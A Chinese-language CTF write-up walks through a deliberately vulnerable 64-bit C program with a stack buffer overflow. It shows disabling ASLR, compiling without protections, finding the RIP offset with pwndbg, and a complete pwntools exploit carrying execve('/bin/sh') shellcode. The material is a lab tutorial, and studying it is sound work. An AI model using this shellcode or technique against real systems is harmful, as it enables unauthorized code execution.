题目: 首先我们看看赛题环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> // 禁用缓冲区 void init() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); } // 存在缓冲区溢出漏洞的函数 void vuln() { char buf[64]; // 栈上缓冲区 printf("Input your data: "); read(0, buf, 256); // 明显的缓冲区溢出 - 读取256字节到64字节缓冲区 printf("You entered: %s\n", buf); } int main() { init(); printf("Welcome to the 64-bit buffer overflow challenge!\n"); printf("This program has a classic buffer overflow vulnerability.\n"); printf("Find a way to exploit it and get a shell!\n\n"); vuln(); printf("Returned to main function. Exiting normally.\n"); return 0; }
实战操作: 我们首先是看代码: 首先是 vuln 函数,有一个 buf[64],还有一个危险函数 read ,可以发现 read 可以读取 256 到 64 字节。所以我们可以使用缓冲区溢出漏洞来进行渗透。 首先先编一下这个 vuln.c ,然后为了我们后面的缓冲区溢出可以正常操作,我们还需要先关闭ASLR
1 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
1 gcc -o shell_code shell_code.c -no-pie -fno-stack-protector -z execstack -Wno-stringop-overflow
我们可以看看这个代码的运行效果:
我们可以先用很大的一个数据把它的data 填满,然后再返回地址中填写我们的shellcode 。
方法一 现在进行pwndbg 的调试吧,直接使用start
然后我们在pwndbg 里生成模式串 我们这里直接使用pwndbg自带的cyclic来生成一堆冗杂数据来填满我们的data使其程序崩溃
从调试中可以看到这些信息: 我们发现这里的RSP没有正常的显示他的地址,不着急,可以先算算buf到RBP的距离,然后再加上旧的RBP一样可以算出来我们的偏移量
1 2 3 pwndbg> cyclic -l 0x6161616161616169 Finding cyclic pattern of 8 bytes: b'iaaaaaaa' (hex: 0x6961616161616161) Found at offset 64
算出来了RBP的之后,我们就可以知道RSP的了。
1 [buf(64字节)][旧的RBP(8字节)][返回地址(8字节)]
正确的偏移量:
到RBP的偏移:64字节
到RIP的偏移:72字节
方法二 我们也可以使用这种方法:
我们也是可以计算出偏移量的。
exp 算完之后,我们现在就可以来构造一个exp来进行攻击了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *context.arch = 'amd64' context.log_level = 'info' def exploit (): p = process(['setarch' , 'x86_64' , '-R' , './shellcode' ]) p.recvuntil(b'Input your data: ' ) shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" offset = 72 return_addr = 0x7fffffffe100 payload = b'A' * offset payload += p64(return_addr) payload += b'\x90' * 50 payload += shellcode log.info(f"Sending payload of {len (payload)} bytes" ) log.info(f"Offset: {offset} " ) log.info(f"Shellcode length: {len (shellcode)} bytes" ) log.info(f"Return address: {hex (return_addr)} " ) p.send(payload) try : p.interactive() except : log.error("Exploit failed" ) if __name__ == '__main__' : exploit()
然后试试效果: